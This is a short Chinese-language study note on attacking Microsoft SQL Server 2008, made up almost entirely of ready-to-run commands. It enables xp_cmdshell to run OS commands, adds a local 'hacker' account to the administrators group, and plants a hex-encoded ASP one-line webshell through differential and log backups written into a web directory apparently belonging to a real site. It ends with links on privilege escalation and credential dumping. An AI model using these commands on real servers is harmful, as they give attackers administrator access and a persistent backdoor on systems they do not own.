SQL Server 2008 学习笔记
SA提权笔记:
EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
Exec master.dbo.xp_cmdshell 'whoami'
Exec master.dbo.xp_cmdshell 'net user hacker abc123!! /add'
Exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'
差异备份获取webshell:
差异备份是针对完全备份:备份上一次的完全备份后发生变化的所有文件
差异备份来说,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少这样插入数据得以执行的概率也大大增加,得到webShell的成功自然也会提高了不少
增量备份(log备份)是针对于上一次备份(无论是哪种备份):备份上一次备份后,所有发生变化的文件
LOG备份产生的文件更小
差异备份的流程大概这样:
1.完整备份一次(保存位置当然可以改)
;backup database hiland to disk = 'c:\xx.bak';--
2.创建表并插入数据
;create table [dbo].[dtest] ([cmd] [image])
;insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
3.进行差异备份
;backup database hiland to disk='f:\homepage\rubyclub.co.kr\include\x.asp' WITH DIFFERENTIAL,FORMAT;--
上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request("a"))%>
log备份
LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是LOG备份
;Drop table [cmd]--
;alter database hiland set RECOVERY FULL
;backup log hiland to disk = 'c:\sx' with init
;create table cmd (a image)
;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
;backup log hiland to disk = 'f:\homepage\rubyclub.co.kr\include\2.asp'
参考链接:
SQL Server 2008 R2如何开启数据库的远程连接 http://jingyan.baidu.com/article/6c67b1d6ca06f02787bb1ed1.html
SQL SERVER数据库安全加固 http://blog.csdn.net/chelp/article/details/44063749
Sql Server 提权 http://www.2cto.com/article/201206/136849.html
MSSQL凭据密码获取工具 http://www.z-cg.com/post/mssql_credential_pwddump.html
https://blog.netspi.com/decrypting-mssql-credential-passwords/
https://github.com/NetSPI/Powershell-Modules